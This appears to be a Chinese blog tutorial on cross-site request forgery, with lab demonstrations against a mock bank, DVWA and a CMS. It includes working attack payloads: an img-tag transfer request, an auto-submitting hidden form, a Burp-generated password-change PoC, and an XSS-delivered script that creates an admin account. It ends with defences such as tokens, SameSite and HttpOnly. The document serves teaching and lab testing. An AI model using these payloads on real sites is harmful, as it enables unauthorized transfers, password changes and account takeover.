跨站请求伪造(CSRF)

渗透测试漏洞原理

跨站请求伪造(CSRF)

1. CSRF概述

1.1 基本概念

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Wb应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF攻击会危及整个Wb应用程序。

1.1.1 关键点
  • 受害者没有退出登录,受害者保持身份认证。
  • CSRF继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
  • CSRF会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP地址,Windows域凭据等。
1.1.2 目标

CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

CSRF 的场景中,攻击者是没有办法获得服务器的响应。

1.2 CSRF场景

1.2.1 银行账户转账

搭建模拟银行网站 http://192.168.188.183/bank/ 。

image-20230828164204992

1.2.2 构造虚假网站

构造CSRF 攻击连接。

<meta charset='utf-8'>
<img src='./1.jpg'><br/> 
<img src='http://192.168.188.183/bank/action.php? username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>
  • 攻击者通过 <img> 标签构造GET 请求。

  • 浏览器根据 <img> 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。

1.2.3 场景建模

image-20230828202821723

1.2.4 实验

该银行场景一共四个用户。

image-20230828165205071

其中hacker是黑客,账户余额为0。

admin用户可以给其他用户转账,admin给hello用户转账100块

image-20230828165342175

hello用户账户增加100块。

image-20230828165413396

如果admin用户访问了黑客提供的网站。并且点击了第一个链接。

image-20230828165519024

admin就会向黑客用户转账100元。

image-20230828165638812

黑客用户原先的余额

image-20230828165728495

admin用户点击黑客提供的链接后的余额:

image-20230828165807234

查看页面的请求数据,数据提交是在路径中进行的

image-20230828151941927

黑客利用admin访问bank网站的cookie信息。当访问csrf网站的时候,csrf向bank发送请求,bank网站中存储着bank网站的cookie信息,那么在响应的时候,也会将cookie信息携带上。

这个就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

image-20230828151952832

1.3 CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求,是不是就能够防御CSRF 漏洞了呢?

1.3.1 POST方式
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.188.183/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'> 
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

这里第二个链接就是POST请求,admin用户点击第二个链接。

image-20230828172351802

image-20230828171234008

同样黑客用户的账户增加100块。

1.4 CSRF验证

bp中有一个Target功能模块,然后点击Site map ,会形成一个目录结构。

bp作为代理分析网站的时候,会自动检测安全风险,当前这里检测的只是一些非常初级的。

image-20230828210308909

右键目标主机,有两个功能选项:主动扫描主机,被动扫描主机。

image-20230828205734762

扫描到主机的风险列表:

image-20230828210703792

1.4.1 CSRF Poc generator

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。

这里以DVWA靶场为例,在CSRF这里,选择Low级别。

修改admin的密码为123456。

image-20230828173325130

抓包查看修改密码的数据包。

image-20230828173520970

然后使用bp来生成漏洞验证代码。右键点击点击Engagement tools选择Generate CSRF PoC

image-20230828173648419

将之前的123456密码修改为123.com,然后点击浏览器中测试。

image-20230828173853215

复制该URL地址

image-20230828173926926

在admin用户没有退出DVWA靶场的时候,访问了这个链接,点击提交请求。

image-20230828174031791

admin退出登录后以密码是123456来进行登录,发现登录失败。这个时候密码已经被修改为123.com了。

image-20230828174148933

通过bp验证存在CSRF漏洞。

1.5 XSS与CSRF的区别

攻击方式不同

  • XSS:XSS 攻击利用网页中存在的漏洞,注入恶意脚本代码,通过用户浏览器执行这些恶意脚本。攻击者可以窃取用户的敏感信息、劫持用户会话、修改网页内容等。
  • CSRF:CSRF 攻击则是利用用户的身份和权限发送未经授权的请求,通过伪装合法用户的请求来执行恶意操作。攻击者诱导用户访问恶意网站或点击恶意链接,在用户登录状态下发送伪造的请求。

攻击目标不同

  • XSS:XSS 攻击主要针对用户的浏览器,通过操纵网页内容来威胁用户的隐私和安全。
  • CSRF:CSRF 攻击主要针对受信任网站的用户,试图利用他们在目标网站上的身份和权限执行未经授权的操作。

攻击手段不同

  • XSS:XSS 攻击通过注入恶意脚本代码来实现,可以利用的漏洞包括反射型、存储型和 DOM 型 XSS。
  • CSRF:CSRF 攻击则依赖于目标网站的业务逻辑漏洞,攻击者构造伪造请求并诱使受害者执行。

防御策略不同

  • XSS:防御 XSS 攻击的主要方法包括对用户输入进行过滤和转义、使用 CSP(内容安全策略)限制脚本执行、设置 HttpOnly 标志等。
  • CSRF:防御 CSRF 攻击的主要方法包括使用 CSRF 令牌(加入一个随机生成的令牌,验证每个请求的合法性)、检查请求的来源 referer 头信息、使用 SameSite Cookie 属性等。

2. CSRF攻防

2.1 CSRF实战

2.1.1 与XSS漏洞相结合

首先确定目标网站存在XSS漏洞

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
2.1.2 实验

修改密码这里是无法进行CSRF攻击的,因为这里攻击者在构造的时候需要输入原密码。

image-20230828190425315

我们需要在添加用户的功能模块下完成实验。

点击添加账号

image-20230828190636776

添加一个wuhu用户

image-20230828190743937

使用bp抓包,查看添加用户的请求

image-20230828190900206

POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.188.183
Content-Length: 107
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.188.183
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.188.183/cms/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: username=admin; userid=1; PHPSESSID=a41pppsn1s0ven64a8smevjhsf; security=low
Connection: close

act=add&username=wuhu&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.188.183/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=wuhu&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

然后将wuhu用户删除了。

再将构造的攻击代码提交到cms网站的留言板模块

image-20230828191625232

提交成功

image-20230828191637598

管理员登录后进行留言管理,看到了我们刚才的留言,意味着触发攻击了。

image-20230828191735754

使用wuhu这个用户登录系统,密码123.com。

image-20230828193031708

登录成功!

2.2 CSRF防御

2.2.1 无效防御
  • 使用秘密的Cookie。
  • 仅接收POST请求
  • 多步交易:多步交易,有可能会被恶意攻击者预测。
  • URL重写:用户的身份信息会暴露在URL中,不建议通过引入另外一个漏洞来解决当前漏洞。
  • HTTPS:所有安全机制的前提。
2.2.2 有效防御

验证Referer字段:

  • 前URL的上一个URL。
  • 转账页面到转账操作。
  • 伪造?

添加Token验证:

image-20230828195322677

  • 二次验证:在关键操作之前,再输入密码或者验证码。

  • HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。PHP: setcookie - Manual

    image-20230828201700789

  • SameSite:Cookie 属性,浏览器自带的安全机制。

2.2.3 HttpOnly实验

验证:

创建一个function目录,在目录中创建一个setcookie.php文件。

image-20230828200317307

然后编写函数

<?php
	setcookie("username","wuhu",time()+3600,"","","",false);
?>

这里将httponly参数设置为false。

image-20230828200545372

在浏览器中进行页面访问,打开F12,输入如下命令:

alert(document.cookie);

image-20230828200658983

cookie信息成功弹出。

点击Application查看Cookie信息。

image-20230828200901920

将Cookie信息删除,再次输入命令。这次没有弹出Cookie信息。

image-20230828200953025

现在将httponly参数设置为true。

image-20230828201106728

点击Application查看Cookie信息,现在HttpOnly开启了,之前是没有开启的。

image-20230828201203465

再次输入alert(document.cookie);,发现弹框中没有任何信息。

image-20230828201336673

  • 7
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值